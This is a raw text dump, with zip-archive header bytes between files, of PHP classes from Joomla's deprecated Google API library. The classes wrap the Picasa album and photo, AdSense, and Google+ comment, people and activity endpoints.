of user * @param string $title New album title * @param string $access New album access settings * @param string $summary New album summary * @param string $location New album location * @param int $time New album timestamp * @param array $keywords New album keywords * * @return mixed Data from Google. * * @since 3.1.4 */ public function createAlbum($userID = 'default', $title = '', $access = 'private', $summary = '', $location = '', $time = false, $keywords = array()) { if ($this->isAuthenticated()) { $time = $time ? $time : time(); $title = $title != '' ? $title : date('F j, Y'); $xml = new SimpleXMLElement('<entry></entry>'); $xml->addAttribute('xmlns', 'http://www.w3.org/2005/Atom'); $xml->addChild('title', $title); $xml->addChild('summary', $summary); $xml->addChild('gphoto:location', $location, 'http://schemas.google.com/photos/2007'); $xml->addChild('gphoto:access', $access); $xml->addChild('gphoto:timestamp', $time); $media = $xml->addChild('media:group', '', 'http://search.yahoo.com/mrss/'); $media->addChild('media:keywords', implode(', ', $keywords)); $cat = $xml->addChild('category', ''); $cat->addAttribute('scheme', 'http://schemas.google.com/g/2005#kind'); $cat->addAttribute('term', 'http://schemas.google.com/photos/2007#album'); $url = 'https://picasaweb.google.com/data/feed/api/user/' . urlencode($userID); $jdata = $this->query($url, $xml->asXml(), array('GData-Version' => 2, 'Content-type' => 'application/atom+xml'), 'post'); $xml = $this->safeXml($jdata->body); return new JGoogleDataPicasaAlbum($xml, $this->options, $this->auth); } else { return false; } } /** * Get Picasa Album * * @param string $url URL of album to get * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function getAlbum($url) { if ($this->isAuthenticated()) { $jdata = $this->query($url, null, array('GData-Version' => 2)); $xml = $this->safeXml($jdata->body); return new JGoogleDataPicasaAlbum($xml, $this->options, $this->auth); } else { return false; } } } PK�\U'�/#,#,joomla/google/data/adsense.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Google * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Google Adsense data class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/google` package via Composer instead */ class JGoogleDataAdsense extends JGoogleData { /** * Constructor. * * @param Registry $options Google options object * @param JGoogleAuth $auth Google data http client object * * @since 3.1.4 */ public function __construct(Registry $options = null, JGoogleAuth $auth = null) { parent::__construct($options, $auth); if (isset($this->auth) && !$this->auth->getOption('scope')) { $this->auth->setOption('scope', 'https://www.googleapis.com/auth/adsense'); } } /** * Method to get an Adsense account's settings from Google * * @param string $accountID ID of account to get * @param boolean $subaccounts Include list of subaccounts * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function getAccount($accountID, $subaccounts = true) { if ($this->isAuthenticated()) { $url = 'https://www.googleapis.com/adsense/v1.1/accounts/' . urlencode($accountID) . ($subaccounts ? '?tree=true' : ''); $jdata = $this->query($url); if ($data = json_decode($jdata->body, true)) { return $data; } else { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } } else { return false; } } /** * Method to retrieve a list of AdSense accounts from Google * * @param array $options Search settings * @param int $maxpages Maximum number of pages of accounts to return * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function listAccounts($options = array(), $maxpages = 1) { if ($this->isAuthenticated()) { $next = array_key_exists('nextPageToken', $options) ? $options['nextPage'] : null; unset($options['nextPageToken']); $url = 'https://www.googleapis.com/adsense/v1.1/accounts?' . http_build_query($options); return $this->listGetData($url, $maxpages, $next); } else { return false; } } /** * Method to retrieve a list of AdSense clients from Google * * @param string $accountID ID of account to list the clients from * @param array $options Search settings * @param int $maxpages Maximum number of pages of accounts to return * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function listClients($accountID, $options = array(), $maxpages = 1) { if ($this->isAuthenticated()) { $next = array_key_exists('nextPageToken', $options) ? $options['nextPage'] : null; unset($options['nextPageToken']); $url = 'https://www.googleapis.com/adsense/v1.1/accounts/' . urlencode($accountID) . '/adclients?' . http_build_query($options); return $this->listGetData($url, $maxpages, $next); } else { return false; } } /** * Method to get an AdSense AdUnit * * @param string $accountID ID of account to get * @param string $adclientID ID of client to get * @param string $adunitID ID of adunit to get * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function getUnit($accountID, $adclientID, $adunitID) { if ($this->isAuthenticated()) { $url = 'https://www.googleapis.com/adsense/v1.1/accounts/' . urlencode($accountID); $url .= '/adclients/' . urlencode($adclientID) . '/adunits/' . urlencode($adunitID); $jdata = $this->query($url); if ($data = json_decode($jdata->body, true)) { return $data; } else { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } } else { return false; } } /** * Method to retrieve a list of AdSense Custom Channels for a specific Adunit * * @param string $accountID ID of account * @param string $adclientID ID of client * @param string $adunitID ID of adunit to list channels from * @param array $options Search settings * @param int $maxpages Maximum number of pages of accounts to return * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function listUnitChannels($accountID, $adclientID, $adunitID, $options = array(), $maxpages = 1) { if ($this->isAuthenticated()) { $next = array_key_exists('nextPageToken', $options) ? $options['nextPage'] : null; unset($options['nextPageToken']); $url = 'https://www.googleapis.com/adsense/v1.1/accounts/' . urlencode($accountID); $url .= '/adclients/' . urlencode($adclientID) . '/adunits/' . urlencode($adunitID) . '/customchannels?' . http_build_query($options); return $this->listGetData($url, $maxpages, $next); } else { return false; } } /** * Method to get an Adsense Channel * * @param string $accountID ID of account to get * @param string $adclientID ID of client to get * @param string $channelID ID of channel to get * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function getChannel($accountID, $adclientID, $channelID) { if ($this->isAuthenticated()) { $url = 'https://www.googleapis.com/adsense/v1.1/accounts/' . urlencode($accountID) . '/adclients/'; $url .= urlencode($adclientID) . '/customchannels/' . urlencode($channelID); $jdata = $this->query($url); if ($data = json_decode($jdata->body, true)) { return $data; } else { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } } else { return false; } } /** * Method to retrieve a list of AdSense Custom Channels * * @param string $accountID ID of account * @param string $adclientID ID of client to list channels from * @param array $options Search settings * @param int $maxpages Maximum number of pages of accounts to return * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function listChannels($accountID, $adclientID, $options = array(), $maxpages = 1) { if ($this->isAuthenticated()) { $next = array_key_exists('nextPageToken', $options) ? $options['nextPage'] : null; unset($options['nextPageToken']); $url = 'https://www.googleapis.com/adsense/v1.1/accounts/' . urlencode($accountID) . '/adclients/' . urlencode($adclientID); $url .= '/customchannels?' . http_build_query($options); return $this->listGetData($url, $maxpages, $next); } else { return false; } } /** * Method to retrieve a list of AdSense Adunits for a specific Custom Channel * * @param string $accountID ID of account * @param string $adclientID ID of client * @param string $channelID ID of channel to list units from * @param array $options Search settings * @param int $maxpages Maximum number of pages of accounts to return * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function listChannelUnits($accountID, $adclientID, $channelID, $options = array(), $maxpages = 1) { if ($this->isAuthenticated()) { $next = array_key_exists('nextPageToken', $options) ? $options['nextPage'] : null; unset($options['nextPageToken']); $url = 'https://www.googleapis.com/adsense/v1.1/accounts/' . urlencode($accountID) . '/adclients/' . urlencode($adclientID); $url .= '/customchannels/' . urlencode($channelID) . '/adunits?' . http_build_query($options); return $this->listGetData($url, $maxpages, $next); } else { return false; } } /** * Method to generate a report from Google AdSense * * @param string $accountID ID of account * @param string $adclientID ID of client * @param array $options Search settings * @param int $maxpages Maximum number of pages of accounts to return * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function listUrlChannels($accountID, $adclientID, $options = array(), $maxpages = 1) { if ($this->isAuthenticated()) { $next = array_key_exists('nextPageToken', $options) ? $options['nextPage'] : null; unset($options['nextPageToken']); $url = 'https://www.googleapis.com/adsense/v1.1/accounts/' . urlencode($accountID); $url .= '/adclients/' . urlencode($adclientID) . '/urlchannels?' . http_build_query($options); return $this->listGetData($url, $maxpages, $next); } else { return false; } } /** * Method to retrieve a list of AdSense Channel URLs * * @param string $accountID ID of account * @param mixed $start Start day * @param mixed $end End day * @param array $options Search settings * @param int $maxpages Maximum number of pages of accounts to return * * @return mixed Data from Google * * @since 3.1.4 * @throws InvalidArgumentException * @throws UnexpectedValueException */ public function generateReport($accountID, $start, $end = false, $options = array(), $maxpages = 1) { if ($this->isAuthenticated()) { if (is_int($start)) { $startobj = new DateTime; $startobj->setTimestamp($start); } elseif (is_string($start)) { $startobj = new DateTime($start); } elseif (is_a($start, 'DateTime')) { $startobj = $start; } else { throw new InvalidArgumentException('Invalid start time.'); } if (!$end) { $endobj = new DateTime; } elseif (is_int($end)) { $endobj = new DateTime; $endobj->setTimestamp($end); } elseif (is_string($end)) { $endobj = new DateTime($end); } elseif (is_a($end, 'DateTime')) { $endobj = $end; } else { throw new InvalidArgumentException('Invalid end time.'); } $options['startDate'] = $startobj->format('Y-m-d'); $options['endDate'] = $endobj->format('Y-m-d'); unset($options['startIndex']); $url = 'https://www.googleapis.com/adsense/v1.1/accounts/' . urlencode($accountID) . '/reports?' . http_build_query($options); if (strpos($url, '&')) { $url .= '&'; } $i = 0; $data['rows'] = array(); do { $jdata = $this->query($url . 'startIndex=' . count($data['rows'])); $newdata = json_decode($jdata->body, true); if ($newdata && array_key_exists('rows', $newdata)) { $newdata['rows'] = array_merge($data['rows'], $newdata['rows']); $data = $newdata; } else { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } $i++; } while (count($data['rows']) < $data['totalMatchedRows'] && $i < $maxpages); return $data; } else { return false; } } } PK�\���� � $joomla/google/data/plus/comments.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Google * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Google+ data class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/google` package via Composer instead */ class JGoogleDataPlusComments extends JGoogleData { /** * Constructor. * * @param Registry $options Google options object * @param JGoogleAuth $auth Google data http client object * * @since 3.1.4 */ public function __construct(Registry $options = null, JGoogleAuth $auth = null) { parent::__construct($options, $auth); if (isset($this->auth) && !$this->auth->getOption('scope')) { $this->auth->setOption('scope', 'https://www.googleapis.com/auth/plus.me'); } } /** * List all of the comments for an activity. * * @param string $activityId The ID of the activity to get comments for. * @param string $fields Used to specify the fields you want returned. * @param integer $max The maximum number of people to include in the response, used for paging. * @param string $order The order in which to sort the list of comments. Acceptable values are "ascending" and "descending". * @param string $token The continuation token, used to page through large result sets. To get the next page of results, set this * parameter to the value of "nextPageToken" from the previous response. This token may be of any length. * @param string $alt Specifies an alternative representation type. Acceptable values are: "json" - Use JSON format (default) * * @return mixed Data from Google * * @since 3.1.4 */ public function listComments($activityId, $fields = null, $max = 20, $order = null, $token = null, $alt = null) { if ($this->isAuthenticated()) { $url = $this->getOption('api.url') . 'activities/' . $activityId . '/comments'; // Check if fields is specified. if ($fields) { $url .= '?fields=' . $fields; } // Check if max is specified. if ($max != 20) { $url .= (strpos($url, '?') === false) ? '?maxResults=' : '&maxResults='; $url .= $max; } // Check if order is specified. if ($order) { $url .= (strpos($url, '?') === false) ? '?orderBy=' : '&orderBy='; $url .= $order; } // Check of token is specified. if ($token) { $url .= (strpos($url, '?') === false) ? '?pageToken=' : '&pageToken='; $url .= $token; } // Check if alt is specified. if ($alt) { $url .= (strpos($url, '?') === false) ? '?alt=' : '&alt='; $url .= $alt; } $jdata = $this->auth->query($url); return json_decode($jdata->body, true); } else { return false; } } /** * Get a comment. * * @param string $id The ID of the comment to get. * @param string $fields Used to specify the fields you want returned. * * @return mixed Data from Google * * @since 3.1.4 */ public function getComment($id, $fields = null) { if ($this->isAuthenticated()) { $url = $this->getOption('api.url') . 'comments/' . $id; // Check if fields is specified. if ($fields) { $url .= '?fields=' . $fields; } $jdata = $this->auth->query($url); return json_decode($jdata->body, true); } else { return false; } } } PK�\�Df��"joomla/google/data/plus/people.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Google * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Google+ data class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/google` package via Composer instead */ class JGoogleDataPlusPeople extends JGoogleData { /** * Constructor. * * @param Registry $options Google options object * @param JGoogleAuth $auth Google data http client object * * @since 3.1.4 */ public function __construct(Registry $options = null, JGoogleAuth $auth = null) { parent::__construct($options, $auth); if (isset($this->auth) && !$this->auth->getOption('scope')) { $this->auth->setOption('scope', 'https://www.googleapis.com/auth/plus.me'); } } /** * Get a person's profile. * * @param string $id The ID of the person to get the profile for. The special value "me" can be used to indicate the authenticated user. * @param string $fields Used to specify the fields you want returned. * * @return mixed Data from Google * * @since 3.1.4 */ public function getPeople($id, $fields = null) { if ($this->isAuthenticated()) { $url = $this->getOption('api.url') . 'people/' . $id; // Check if fields is specified. if ($fields) { $url .= '?fields=' . $fields; } $jdata = $this->auth->query($url); return json_decode($jdata->body, true); } else { return false; } } /** * Search all public profiles. * * @param string $query Specify a query string for full text search of public text in all profiles. * @param string $fields Used to specify the fields you want returned. * @param string $language Specify the preferred language to search with. https://developers.google.com/+/api/search#available-languages * @param integer $max The maximum number of people to include in the response, used for paging. * @param string $token The continuation token, used to page through large result sets. To get the next page of results, set this * parameter to the value of "nextPageToken" from the previous response. This token may be of any length. * * @return mixed Data from Google * * @since 3.1.4 */ public function search($query, $fields = null, $language = null, $max = 10, $token = null) { if ($this->isAuthenticated()) { $url = $this->getOption('api.url') . 'people?query=' . urlencode($query); // Check if fields is specified. if ($fields) { $url .= '&fields=' . $fields; } // Check if language is specified. if ($language) { $url .= '&language=' . $language; } // Check if max is specified. if ($max != 10) { $url .= '&maxResults=' . $max; } // Check of token is specified. if ($token) { $url .= '&pageToken=' . $token; } $jdata = $this->auth->query($url); return json_decode($jdata->body, true); } else { return false; } } /** * List all of the people in the specified collection for a particular activity. * * @param string $activityId The ID of the activity to get the list of people for. * @param string $collection The collection of people to list. Acceptable values are "plusoners" and "resharers". * @param string $fields Used to specify the fields you want returned. * @param integer $max The maximum number of people to include in the response, used for paging. * @param string $token The continuation token, used to page through large result sets. To get the next page of results, set this * parameter to the value of "nextPageToken" from the previous response. This token may be of any length. * * @return mixed Data from Google * * @since 3.1.4 */ public function listByActivity($activityId, $collection, $fields = null, $max = 10, $token = null) { if ($this->isAuthenticated()) { $url = $this->getOption('api.url') . 'activities/' . $activityId . '/people/' . $collection; // Check if fields is specified. if ($fields) { $url .= '?fields=' . $fields; } // Check if max is specified. if ($max != 10) { $url .= (strpos($url, '?') === false) ? '?maxResults=' : '&maxResults='; $url .= $max; } // Check of token is specified. if ($token) { $url .= (strpos($url, '?') === false) ? '?pageToken=' : '&pageToken='; $url .= $token; } $jdata = $this->auth->query($url); return json_decode($jdata->body, true); } else { return false; } } } PK�\���bb&joomla/google/data/plus/activities.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Google * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Google+ data class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/google` package via Composer instead */ class JGoogleDataPlusActivities extends JGoogleData { /** * Constructor. * * @param Registry $options Google options object * @param JGoogleAuth $auth Google data http client object * * @since 3.1.4 */ public function __construct(Registry $options = null, JGoogleAuth $auth = null) { parent::__construct($options, $auth); if (isset($this->auth) && !$this->auth->getOption('scope')) { $this->auth->setOption('scope', 'https://www.googleapis.com/auth/plus.me'); } } /** * List all of the activities in the specified collection for a particular user. * * @param string $userId The ID of the user to get activities for. The special value "me" can be used to indicate the authenticated user. * @param string $collection The collection of activities to list. Acceptable values are: "public". * @param string $fields Used to specify the fields you want returned. * @param integer $max The maximum number of people to include in the response, used for paging. * @param string $token The continuation token, used to page through large result sets. To get the next page of results, set this * parameter to the value of "nextPageToken" from the previous response. This token may be of any length. * @param string $alt Specifies an alternative representation type. Acceptable values are: "json" - Use JSON format (default) * * @return mixed Data from Google * * @since 3.1.4 */ public function listActivities($userId, $collection, $fields = null, $max = 10, $token = null, $alt = null) { if ($this->isAuthenticated()) { $url = $this->getOption('api.url') . 'people/' . $userId . '/activities/' . $collection; // Check if fields is specified. if ($fields) { $url .= '?fields=' . $fields; } // Check if max is specified. if ($max != 10) { $url .= (strpos($url, '?') === false) ? '?maxResults=' : '&maxResults='; $url .= $max; } // Check if token is specified. if ($token) { $url .= (strpos($url, '?') === false) ? '?pageToken=' : '&pageToken='; $url .= $token; } // Check if alt is specified. if ($alt) { $url .= (strpos($url, '?') === false) ? '?alt=' : '&alt='; $url .= $alt; } $jdata = $this->auth->query($url); return json_decode($jdata->body, true); } else { return false; } } /** * Get an activity. * * @param string $id The ID of the activity to get. * @param string $fields Used to specify the fields you want returned. * @param string $alt Specifies an alternative representation type. Acceptable values are: "json" - Use JSON format (default) * * @return mixed Data from Google * * @since 3.1.4 */ public function getActivity($id, $fields = null, $alt = null) { if ($this->isAuthenticated()) { $url = $this->getOption('api.url') . 'activities/' . $id; // Check if fields is specified. if ($fields) { $url .= '?fields=' . $fields; } // Check if alt is specified. if ($alt) { $url .= (strpos($url, '?') === false) ? '?alt=' : '&alt='; $url .= $alt; } $jdata = $this->auth->query($url); return json_decode($jdata->body, true); } else { return false; } } /** * Search all public activities. * * @param string $query Full-text search query string. * @param string $fields Used to specify the fields you want returned. * @param string $language Specify the preferred language to search with. https://developers.google.com/+/api/search#available-languages * @param integer $max The maximum number of people to include in the response, used for paging. * @param string $order Specifies how to order search results. Acceptable values are "best" and "recent". * @param string $token The continuation token, used to page through large result sets. To get the next page of results, set this * parameter to the value of "nextPageToken" from the previous response. This token may be of any length. * * @return mixed Data from Google * * @since 3.1.4 */ public function search($query, $fields = null, $language = null, $max = 10, $order = null, $token = null) { if ($this->isAuthenticated()) { $url = $this->getOption('api.url') . 'activities?query=' . urlencode($query); // Check if fields is specified. if ($fields) { $url .= '&fields=' . $fields; } // Check if language is specified. if ($language) { $url .= '&language=' . $language; } // Check if max is specified. if ($max != 10) { $url .= '&maxResults=' . $max; } // Check if order is specified. if ($order) { $url .= '&orderBy=' . $order; } // Check of token is specified. if ($token) { $url .= '&pageToken=' . $token; } $jdata = $this->auth->query($url); return json_decode($jdata->body, true); } else { return false; } } } PK�\]2��a'a'#joomla/google/data/picasa/album.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Google * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Google Picasa data class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/google` package via Composer instead */ class JGoogleDataPicasaAlbum extends JGoogleData { /** * @var SimpleXMLElement The album's XML * @since 3.1.4 */ protected $xml; /** * Constructor. * * @param SimpleXMLElement $xml XML from Google * @param Registry $options Google options object * @param JGoogleAuth $auth Google data http client object * * @since 3.1.4 */ public function __construct(SimpleXMLElement $xml, Registry $options = null, JGoogleAuth $auth = null) { $this->xml = $xml; parent::__construct($options, $auth); if (isset($this->auth) && !$this->auth->getOption('scope')) { $this->auth->setOption('scope', 'https://picasaweb.google.com/data/'); } } /** * Method to delete a Picasa album * * @param mixed $match Check for most up to date album * * @return boolean Success or failure. * * @since 3.1.4 * @throws Exception * @throws RuntimeException * @throws UnexpectedValueException */ public function delete($match = '*') { if ($this->isAuthenticated()) { $url = $this->getLink(); if ($match === true) { $match = $this->xml->xpath('./@gd:etag'); $match = $match[0]; } try { $jdata = $this->query($url, null, array('GData-Version' => 2, 'If-Match' => $match), 'delete'); } catch (Exception $e) { if (strpos($e->getMessage(), 'Error code 412 received requesting data: Mismatch: etags') === 0) { throw new RuntimeException("Etag match failed: `$match`.", $e->getCode(), $e); } throw $e; } if ($jdata->body != '') { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } $this->xml = null; return true; } else { return false; } } /** * Method to get the album link * * @param string $type Type of link to return * * @return string Link or false on failure * * @since 3.1.4 */ public function getLink($type = 'edit') { $links = $this->xml->link; foreach ($links as $link) { if ($link->attributes()->rel == $type) { return (string) $link->attributes()->href; } } return false; } /** * Method to get the title of the album * * @return string Album title * * @since 3.1.4 */ public function getTitle() { return (string) $this->xml->children()->title; } /** * Method to get the summary of the album * * @return string Album summary * * @since 3.1.4 */ public function getSummary() { return (string) $this->xml->children()->summary; } /** * Method to get the location of the album * * @return string Album location * * @since 3.1.4 */ public function getLocation() { return (string) $this->xml->children('gphoto', true)->location; } /** * Method to get the access level of the album * * @return string Album access level * * @since 3.1.4 */ public function getAccess() { return (string) $this->xml->children('gphoto', true)->access; } /** * Method to get the time of the album * * @return double Album time * * @since 3.1.4 */ public function getTime() { return (double) $this->xml->children('gphoto', true)->timestamp / 1000; } /** * Method to set the title of the album * * @param string $title New album title * * @return JGoogleDataPicasaAlbum The object for method chaining * * @since 3.1.4 */ public function setTitle($title) { $this->xml->children()->title = $title; return $this; } /** * Method to set the summary of the album * * @param string $summary New album summary * * @return JGoogleDataPicasaAlbum The object for method chaining * * @since 3.1.4 */ public function setSummary($summary) { $this->xml->children()->summary = $summary; return $this; } /** * Method to set the location of the album * * @param string $location New album location * * @return JGoogleDataPicasaAlbum The object for method chaining * * @since 3.1.4 */ public function setLocation($location) { $this->xml->children('gphoto', true)->location = $location; return $this; } /** * Method to set the access level of the album * * @param string $access New album access * * @return JGoogleDataPicasaAlbum The object for method chaining * * @since 3.1.4 */ public function setAccess($access) { $this->xml->children('gphoto', true)->access = $access; return $this; } /** * Method to set the time of the album * * @param int $time New album time * * @return JGoogleDataPicasaAlbum The object for method chaining * * @since 3.1.4 */ public function setTime($time) { $this->xml->children('gphoto', true)->timestamp = $time * 1000; return $this; } /** * Method to modify a Picasa Album * * @param string $match Optional eTag matching parameter * * @return mixed Data from Google. * * @since 3.1.4 * @throws Exception */ public function save($match = '*') { if ($this->isAuthenticated()) { $url = $this->getLink(); if ($match === true) { $match = $this->xml->xpath('./@gd:etag'); $match = $match[0]; } try { $headers = array('GData-Version' => 2, 'Content-type' => 'application/atom+xml', 'If-Match' => $match); $jdata = $this->query($url, $this->xml->asXml(), $headers, 'put'); } catch (Exception $e) { if (strpos($e->getMessage(), 'Error code 412 received requesting data: Mismatch: etags') === 0) { throw new RuntimeException("Etag match failed: `$match`.", $e->getCode(), $e); } throw $e; } $this->xml = $this->safeXml($jdata->body); return $this; } else { return false; } } /** * Refresh Picasa Album * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function refresh() { if ($this->isAuthenticated()) { $url = $this->getLink(); $jdata = $this->query($url, null, array('GData-Version' => 2)); $this->xml = $this->safeXml($jdata->body); return $this; } else { return false; } } /** * Method to retrieve a list of Picasa Photos * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function listPhotos() { if ($this->isAuthenticated()) { $url = $this->getLink('http://schemas.google.com/g/2005#feed'); $jdata = $this->query($url, null, array('GData-Version' => 2)); $xml = $this->safeXml($jdata->body); if (isset($xml->children()->entry)) { $items = array(); foreach ($xml->children()->entry as $item) { $items[] = new JGoogleDataPicasaPhoto($item, $this->options, $this->auth); } return $items; } else { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } } else { return false; } } /** * Add photo * * @param string $file Path of file to upload * @param string $title Title to give to file (defaults to filename) * @param string $summary Description of the file * * @return mixed Data from Google * * @since 3.1.4 * @throws RuntimeException */ public function upload($file, $title = '', $summary = '') { if ($this->isAuthenticated()) { jimport('joomla.filesystem.file'); $title = $title != '' ? $title : JFile::getName($file); if (!($type = $this->getMime($file))) { throw new RuntimeException('Inappropriate file type.'); } if (!($data = file_get_contents($file))) { throw new RuntimeException("Cannot access file: `$file`"); } $xml = new SimpleXMLElement('<entry></entry>'); $xml->addAttribute('xmlns', 'http://www.w3.org/2005/Atom'); $xml->addChild('title', $title); $xml->addChild('summary', $summary); $cat = $xml->addChild('category', ''); $cat->addAttribute('scheme', 'http://schemas.google.com/g/2005#kind'); $cat->addAttribute('term', 'http://schemas.google.com/photos/2007#photo'); $post = "Media multipart posting\n"; $post .= "--END_OF_PART\n"; $post .= "Content-Type: application/atom+xml\n\n"; $post .= $xml->asXml() . "\n"; $post .= "--END_OF_PART\n"; $post .= "Content-Type: {$type}\n\n"; $post .= $data; $jdata = $this->query($this->getLink(), $post, array('GData-Version' => 2, 'Content-Type: multipart/related'), 'post'); return new JGoogleDataPicasaPhoto($this->safeXml($jdata->body), $this->options, $this->auth); } else { return false; } } /** * Add photo * * @param string $file Filename * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ protected function getMime($file) { switch (strtolower(JFile::getExt($file))) { case 'bmp': case 'bm': return 'image/bmp'; case 'gif': return 'image/gif'; case 'jpg': case 'jpeg': case 'jpe': case 'jif': case 'jfif': case 'jfi': return 'image/jpeg'; case 'png': return 'image/png'; case '3gp': return 'video/3gpp'; case 'avi': return 'video/avi'; case 'mov': case 'moov': case 'qt': return 'video/quicktime'; case 'mp4': case 'm4a': case 'm4p': case 'm4b': case 'm4r': case 'm4v': return 'video/mp4'; case 'mpg': case 'mpeg': case 'mp1': case 'mp2': case 'mp3': case 'm1v': case 'm1a': case 'm2a': case 'mpa': case 'mpv': return 'video/mpeg'; case 'asf': return 'video/x-ms-asf'; case 'wmv': return 'video/x-ms-wmv'; default: return false; } } } PK�\Lb2��#joomla/google/data/picasa/photo.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Google * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Google Picasa data class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/google` package via Composer instead */ class JGoogleDataPicasaPhoto extends JGoogleData { /** * @var SimpleXMLElement The photo's XML * @since 3.1.4 */ protected $xml; /** * Constructor. * * @param SimpleXMLElement $xml XML from Google * @param Registry $options Google options object * @param JGoogleAuth $auth Google data http client object * * @since 3.1.4 */ public function __construct(SimpleXMLElement $xml, Registry $options = null, JGoogleAuth $auth = null) { $this->xml = $xml; parent::__construct($options, $auth); if (isset($this->auth) && !$this->auth->getOption('scope')) { $this->auth->setOption('scope', 'https://picasaweb.google.com/data/'); } } /** * Method to delete a Picasa photo * * @param mixed $match Check for most up to date photo * * @return boolean Success or failure. * * @since 3.1.4 * @throws Exception * @throws RuntimeException * @throws UnexpectedValueException */ public function delete($match = '*') { if ($this->isAuthenticated()) { $url = $this->getLink(); if ($match === true) { $match = $this->xml->xpath('./@gd:etag'); $match = $match[0]; } try { $jdata = $this->query($url, null, array('GData-Version' => 2, 'If-Match' => $match), 'delete'); } catch (Exception $e) { if (strpos($e->getMessage(), 'Error code 412 received requesting data: Mismatch: etags') === 0) { throw new RuntimeException("Etag match failed: `$match`.", $e->getCode(), $e); } throw $e; } if ($jdata->body != '') { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } $this->xml = null; return true; } else { return false; } } /** * Method to get the photo link * * @param string $type Type of link to return * * @return string Link or false on failure * * @since 3.1.4 */ public function getLink($type = 'edit') { $links = $this->xml->link; foreach ($links as $link) { if ($link->attributes()->rel == $type) { return (string) $link->attributes()->href; } } return false; } /** * Method to get the photo's URL * * @return string Link * * @since 3.1.4 */ public function getUrl() { return (string) $this->xml->children()->content->attributes()->src; } /** * Method to get the photo's thumbnails * * @return array An array of thumbnails * * @since 3.1.4 */ public function getThumbnails() { $thumbs = array(); foreach ($this->xml->children('media', true)->group->thumbnail as $item) { $url = (string) $item->attributes()->url; $width = (int) $item->attributes()->width; $height = (int) $item->attributes()->height; $thumbs[$width] = array('url' => $url, 'w' => $width, 'h' => $height); } return $thumbs; } /** * Method to get the title of the photo * * @return string Photo title * * @since 3.1.4 */ public function getTitle() { return (string) $this->xml->children()->title; } /** * Method to get the summary of the photo * * @return string Photo description * * @since 3.1.4 */ public function getSummary() { return (string) $this->xml->children()->summary; } /** * Method to get the access level of the photo * * @return string Photo access level * * @since 3.1.4 */ public function getAccess() { return (string) $this->xml->children('gphoto', true)->access; } /** * Method to get the time of the photo * * @return double Photo time * * @since 3.1.4 */ public function getTime() { return (double) $this->xml->children('gphoto', true)->timestamp / 1000; } /** * Method to get the size of the photo * * @return int Photo size * * @since 3.1.4 */ public function getSize() { return (int) $this->xml->children('gphoto', true)->size; } /** * Method to get the height of the photo * * @return int Photo height * * @since 3.1.4 */ public function getHeight() { return (int) $this->xml->children('gphoto', true)->height; } /** * Method to get the width of the photo * * @return int Photo width * * @since 3.1.4 */ public function getWidth() { return (int) $this->xml->children('gphoto', true)->width; } /** * Method to set the title of the photo * * @param string $title New photo title * * @return JGoogleDataPicasaPhoto The object for method chaining * * @since 3.1.4 */ public function setTitle($title) { $this->xml->children()->title = $title; return $this; } /** * Method to set the summary of the photo * * @param string $summary New photo description * * @return JGoogleDataPicasaPhoto The object for method chaining * * @since 3.1.4 */ public function setSummary($summary) { $this->xml->children()->summary = $summary; return $this; } /** * Method to set the access level of the photo * * @param string $access New photo access level * * @return JGoogleDataPicasaPhoto The object for method chaining * * @since 3.1.4 */ public function setAccess($access) { $this->xml->children('gphoto', true)->access = $access; return $this; } /** * Method to set the time of the photo * * @param int $time New photo time * * @return 